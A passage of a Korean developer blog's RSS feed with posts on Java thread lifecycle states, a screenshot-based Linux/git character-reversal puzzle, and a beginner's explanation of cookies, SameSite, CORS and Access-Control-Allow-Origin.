this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;800&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;https://www.baeldung.com/java-thread-lifecycle&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;NEW : new Thread()를 통해 Thread 객체가 생성되었지만 아직 start() 호출하지 않은 단계입니다.&lt;/li&gt;
&lt;li&gt;Runnable : start() 호출하여 JVM 스케줄러에 의해 실행 준비가 되었거나 실행 중이지만 리소스 할당을 기다리는 단계입니다.&lt;/li&gt;
&lt;li&gt;Blocked : 동기화된 블록 or 메소드에 들어가거나 다시 들어가기 위해 모니터 잠금을 획득할 때까지 기다리는 단계입니다.&lt;/li&gt;
&lt;li&gt;Waiting : 시간 제한 없이 다른 Thread가 특정 작업을 완료될때까지 대기하는 단계입니다.
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Object.wait()&lt;/li&gt;
&lt;li&gt;Thread.join()&lt;/li&gt;
&lt;li&gt;LockSupport.park()&lt;/li&gt;
&lt;li&gt;다른 Thread가 notify(), notifyAll()을 호출하면 기다리는 것을 멈출 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Timed Waiting : Thread가 지정된 시간 동안 다른 Thread의 작업이 완료되기를 대기하는 단계입니다.
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Object.wait(long timeout)&lt;/li&gt;
&lt;li&gt;Thread.sleep(long millis)&lt;/li&gt;
&lt;li&gt;Thread.join(long millis)&lt;/li&gt;
&lt;li&gt;LockSupport.parkNanos()&lt;/li&gt;
&lt;li&gt;LockSupport.parkUntil()&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Terminated : run() 호출 후 완료했거나 예외 발생 등으로 인해 스레드가 종료된 상태입니다.&lt;/li&gt;
&lt;li&gt; Suspended : Thread가 일시적으로 중단되었으며 다른 스레드에서 다시 시작 할 수 있는 단계입니다.&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Development/JAVA</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/292</guid>
      <comments>https://jangto.tistory.com/entry/Java-Thread%EC%97%90-%EB%8C%80%ED%95%B4-%EC%95%8C%EC%95%84%EB%B3%B4%EC%9E%90#entry292comment</comments>
      <pubDate>Thu, 26 Jun 2025 18:29:11 +0900</pubDate>
    </item>
    <item>
      <title>[Operation RCity18] 글자 뒤집기</title>
      <link>https://jangto.tistory.com/entry/Operation-RCity18-%EA%B8%80%EC%9E%90-%EB%92%A4%EC%A7%91%EA%B8%B0</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnXHv2/btsOPCJWOo2/W6PpHmv8MMbqPxkDiuVIh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnXHv2/btsOPCJWOo2/W6PpHmv8MMbqPxkDiuVIh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnXHv2/btsOPCJWOo2/W6PpHmv8MMbqPxkDiuVIh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnXHv2%2FbtsOPCJWOo2%2FW6PpHmv8MMbqPxkDiuVIh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1126&quot; height=&quot;487&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;해결 과정&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우선 현재 디렉토리에 어떤 것들이 있는지 파악합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cg9Rjg/btsOQTKpr1T/jzyQyKL7DY6GYKK1Jy95t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cg9Rjg/btsOQTKpr1T/jzyQyKL7DY6GYKK1Jy95t0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cg9Rjg/btsOQTKpr1T/jzyQyKL7DY6GYKK1Jy95t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcg9Rjg%2FbtsOQTKpr1T%2FjzyQyKL7DY6GYKK1Jy95t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;733&quot; height=&quot;238&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 서버가 어떤 Git 설정을 가지고 있는지 파악합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[remote &quot;origin&quot;] 정보가 없기 때문에 git init으로 초기화된 로컬 전용 Git 저장소일 가능성이 매우 높습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uw69r/btsOPm1EXgn/bDpIItYgKZIp5MncSomdC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uw69r/btsOPm1EXgn/bDpIItYgKZIp5MncSomdC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uw69r/btsOPm1EXgn/bDpIItYgKZIp5MncSomdC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuw69r%2FbtsOPm1EXgn%2FbDpIItYgKZIp5MncSomdC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;213&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;log를 우선 살펴봅니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;아무리 봐도 되게 수상합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oc3GZ/btsOQSkseFT/xdw4xdbDb2614PMpYju4z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oc3GZ/btsOQSkseFT/xdw4xdbDb2614PMpYju4z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oc3GZ/btsOQSkseFT/xdw4xdbDb2614PMpYju4z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foc3GZ%2FbtsOQSkseFT%2Fxdw4xdbDb2614PMpYju4z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;504&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수상한 저 글자를 추출합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y9hev/btsOQ7aCNl9/11PdPOKDHIQkVFy1mcfeYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y9hev/btsOQ7aCNl9/11PdPOKDHIQkVFy1mcfeYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y9hev/btsOQ7aCNl9/11PdPOKDHIQkVFy1mcfeYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy9hev%2FbtsOQ7aCNl9%2F11PdPOKDHIQkVFy1mcfeYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1066&quot; height=&quot;481&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;추출한 글자를 한줄로 표시 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/32JIq/btsOQVVKtjO/5CtcydUeNPBDGOHLPuLmC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/32JIq/btsOQVVKtjO/5CtcydUeNPBDGOHLPuLmC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/32JIq/btsOQVVKtjO/5CtcydUeNPBDGOHLPuLmC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F32JIq%2FbtsOQVVKtjO%2F5CtcydUeNPBDGOHLPuLmC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1218&quot; height=&quot;67&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 거울에 비춰보라고 했으니 역순으로 정렬하여 정답을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMyR6l/btsOQehueMl/JNn5Z2thpwmKZblf5S1021/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMyR6l/btsOQehueMl/JNn5Z2thpwmKZblf5S1021/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMyR6l/btsOQehueMl/JNn5Z2thpwmKZblf5S1021/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMyR6l%2FbtsOQehueMl%2FJNn5Z2thpwmKZblf5S1021%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;52&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/Linux</category>
      <category>awk</category>
      <category>GIT</category>
      <category>grep</category>
      <category>rev</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/291</guid>
      <comments>https://jangto.tistory.com/entry/Operation-RCity18-%EA%B8%80%EC%9E%90-%EB%92%A4%EC%A7%91%EA%B8%B0#entry291comment</comments>
      <pubDate>Wed, 25 Jun 2025 01:19:55 +0900</pubDate>
    </item>
    <item>
      <title>[웹 보안의 기초 정리] Cookie, SameSite, CORS, ACAO</title>
      <link>https://jangto.tistory.com/entry/%EC%9B%B9-%EB%B3%B4%EC%95%88%EC%9D%98-%EA%B8%B0%EC%B4%88-%EC%A0%95%EB%A6%AC-Cookie-SameSite-CORS-ACAO</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;  Cookie는 어디에 저장되고, 어떻게 동작할까?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 서버로부터 받은 Cookie를 &lt;b&gt;도메인 + 경로(Path)&lt;/b&gt; 기준으로 저장해요.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;예를 들어 www.test.com 서버가 /user/profile 주소로 응답하면서 Path=/user/로 설정된 쿠키를 보냈다면 &lt;br /&gt;해당 쿠키는 www.test.com/user/로 시작하는 모든 요청에 자동으로 포함됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 Set-Cookie 응답 헤더를 통해 서버가 보낸 쿠키를 Origin 기반 저장소에 보관합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1750659081086&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Set-Cookie: token=abc123; Path=/users; HttpOnly; Secure; SameSite=Lax;&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.0698%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 65.9302%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.0698%;&quot;&gt;Domain&lt;/td&gt;
&lt;td style=&quot;width: 65.9302%;&quot;&gt;해당 쿠키가 유효한 도메인 (기본: 응답한 도메인)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.0698%;&quot;&gt;Path&lt;/td&gt;
&lt;td style=&quot;width: 65.9302%;&quot;&gt;URL 경로 조건 (기본: 현재 경로 이하)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.0698%;&quot;&gt;Secure&lt;/td&gt;
&lt;td style=&quot;width: 65.9302%;&quot;&gt;HTTPS 환경에서만 쿠키 전송&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.0698%;&quot;&gt;HttpOnly&lt;/td&gt;
&lt;td style=&quot;width: 65.9302%;&quot;&gt;JS로 접근 불가 (document.cookie로 못 봄)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.0698%;&quot;&gt;SameSite&lt;/td&gt;
&lt;td style=&quot;width: 65.9302%;&quot;&gt;Cross-Origin 요청 시 전송 여부 결정 (기본 : None)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Cross-Origin 이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cross-Origin(교차 출처)은 웹 브라우저에서 요청을 보낸 웹 페이지 출처(Origin)와 요청을 받는 서버 출처가 서로 다를 때를 말합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 출처(Origin)는 다음 3가지 요소의 조합입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;프로토콜 (Protocol):&lt;/b&gt; http:// 또는 https://&lt;/li&gt;
&lt;li&gt;&lt;b&gt;도메인 (Domain):&lt;/b&gt; www.google.com, www.naver.com 등&lt;/li&gt;
&lt;li&gt;&lt;b&gt;포트 (Port):&lt;/b&gt; 80, 443, 8080 등 (명시되지 않으면 기본 포트 : 80 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세 가지 요소 중 어느 하나라도 다르면 두 출처는 다른 것으로 간주되며 이들 간의 통신은 Cross-Origin 요청이 됩니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 89px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;요청 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;응답 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;동일/교차 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;이유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;https://a.com&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;https://a.com/data&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;동일 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 19px;&quot;&gt;프로토콜, 도메인, 포트 모두 같음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;https://a.com&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;https://b.com/api&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;교차 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;도메인이 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;http://a.com&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;https://a.com&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;교차 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;프로토콜이 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;https://a.com:8080&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;https://a.com:443&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;교차 출처&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;포트가 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;왜 Cross-Origin이 중요한가?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저에는 Same-Origin Policy (동일 출처 정책)라는 핵심 보안 원칙이 있습니다.&lt;br /&gt;이는 악의적 웹사이트가 사용자의 동의 없이 다른 사이트의 민감한 정보를 가져가거나 조작하지 못하도록 하기 위한 정책입니다.&lt;/p&gt;
&lt;p data-end=&quot;1863&quot; data-start=&quot;1786&quot; data-ke-size=&quot;size16&quot;&gt;따라서 기본적으로 브라우저는 다른 출처 간 특정 상호작용을 제한하며 서버가 명시적으로 허용하지 않으면 교차 출처 요청이 차단됩니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;A 사이트 Cookie가 B 사이트에서 자동으로 전송될까?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로는 &lt;b&gt;자동 전송되지 않습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;2001&quot; data-start=&quot;1931&quot; data-ke-size=&quot;size16&quot;&gt;동일 출처 정책과 사용자 개인정보 보호를 위해 브라우저는 외부 사이트에서 쿠키를 자동으로 보내는 것을 엄격히 제한합니다.&lt;/p&gt;
&lt;h2 data-end=&quot;2001&quot; data-start=&quot;1931&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SameSite 란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SameSite는 서버가 쿠키에 설정해 쿠키가 교차 출처 요청에 포함될지 결정하는 속성입니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 70px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 19px;&quot;&gt;값&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 19px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Strict&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;완전 차단.&lt;/b&gt; 가장 강력한 보안 레벨입니다. 쿠키가 처음 설정된 동일한 사이트(출처)에서 오는 요청에만 쿠키를 전송합니다. 다른 사이트에서 시작된 모든 교차 출처 요청에는 해당 쿠키를 절대 포함하지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;Lax&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;대부분 차단하지만, 일부 예외 허용.&lt;/b&gt; 기본적으로 Strict와 유사하게 교차 출처 요청에 쿠키 전송을 제한합니다. 하지만 &amp;lt;form&amp;gt; 태그의 GET 요청이나 &amp;lt;a&amp;gt; 태그(링크 클릭)와 같은 **최상위 탐색(Top-level Navigation)**에는 예외적으로 쿠키 전송을 허용합니다. (예: 다른 웹사이트에서 로그인 페이지 링크를 클릭하여 이동할 때 로그인 세션 유지)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;None&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;b&gt;모든 요청 허용.&lt;/b&gt; SameSite=None으로 설정된 쿠키는 동일 출처 요청뿐만 아니라 모든 교차 출처 요청에도 전송될 수 있도록 허용합니다. &lt;b&gt;단, 이 속성을 사용하려면 반드시 Secure 속성도 함께 설정하여 HTTPS 환경에서만 쿠키가 전송되도록 해야 합니다.&lt;/b&gt; (HTTP 환경에서는 작동하지 않음)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SameSite 설정은 CSRF 공격 방어에 매우 중요한 역할을 하며 대부분 최신 브라우저는 기본값을 Lax로 두어 보안을 강화하고 있습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Access-Control-Allow-Origin(ACAO) 이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Access-Control-Allow-Origin은&amp;nbsp;CORS(Cross-Origin Resource Sharing) 정책의 핵심 응답 헤더입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 브라우저가 다른 출처(Cross-Origin)로부터 온 요청의 응답을 클라이언트 웹 페이지(JavaScript 등)에서 접근하도록 허용할지 여부를 서버가 알려주는 역할을 합니다.&lt;/p&gt;
&lt;blockquote data-sourcepos=&quot;6:1-6:75&quot; data-ke-style=&quot;style2&quot;&gt;쿠키 전송 여부와는 별개로 서버가 이 교차 출처 요청을 허용할지 말지 결정하는 독립적인 보안 메커니즘이라고 이해하시면 됩니다.&lt;/blockquote&gt;
&lt;h3 data-sourcepos=&quot;6:1-6:75&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;브라우저의 ACAO 검사 과정&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;3003&quot; data-start=&quot;2967&quot;&gt;공격자 운영 사이트 https://evil.com에서&amp;nbsp;피해자가 접속한 브라우저를 통해 https://a.com/api/delete-data에 요청 전송&lt;/li&gt;
&lt;li data-end=&quot;3003&quot; data-start=&quot;2967&quot;&gt;서버 https://a.com이 응답에 &quot;Access-Control-Allow-Origin:&amp;nbsp;https://www.a.com&quot; 설정&lt;/li&gt;
&lt;li data-end=&quot;3003&quot; data-start=&quot;2967&quot;&gt;브라우저는 요청 출처(evil.com)와 ACAO의 도메인이 다름을 감지&lt;/li&gt;
&lt;li data-end=&quot;3003&quot; data-start=&quot;2967&quot;&gt;브라우저가 응답을 클라이언트 스크립트에서 읽지 못하도록 차단&lt;/li&gt;
&lt;li data-end=&quot;3003&quot; data-start=&quot;2967&quot;&gt;콘솔에 &quot;CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.&quot; 출력&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;☑️ 하지만 서버는 동작한다!&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 응답을 차단한다고 해서 서버가 요청을 거부하거나 로직을 수행하지 않는 것은 아닙니다.&lt;/p&gt;
&lt;p data-end=&quot;3550&quot; data-start=&quot;3490&quot; data-ke-size=&quot;size16&quot;&gt;서버는 요청을 정상적으로 받아 내부 로직(예: DB 조회, 수정)을 수행하고 응답을 전송합니다.&lt;/p&gt;
&lt;p data-end=&quot;3591&quot; data-start=&quot;3552&quot; data-ke-size=&quot;size16&quot;&gt;단지 브라우저가 응답을 JS에서 읽지 못하게 차단하는 것입니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;비유로 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브라우저 = 공항&lt;/li&gt;
&lt;li&gt;CORS = 출입국 관리소
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다른 나라(Origin)에서 온 사람(요청)을 검사&lt;/li&gt;
&lt;li&gt;허가하지 않으면 응답은 전달되지만 &amp;ldquo;너는 응답 내용을 볼 수 없어&amp;rdquo;라고 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ACAO (Access-Control-Allow-Origin) = 출국 심사대
